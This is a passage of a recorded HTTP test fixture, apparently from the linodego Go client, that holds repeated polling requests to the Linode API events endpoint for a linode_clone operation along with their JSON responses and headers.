"/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 39.842945, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 39.90297, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 39.961649, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 40.023543, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 40.084389, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 40.142975, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 40.208628, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 40.282586, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 40.352812, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 40.426479, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 40.954118, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 41.033622, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 41.112446, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 41.180695, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 41.24605, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 41.317064, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 41.383284, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": 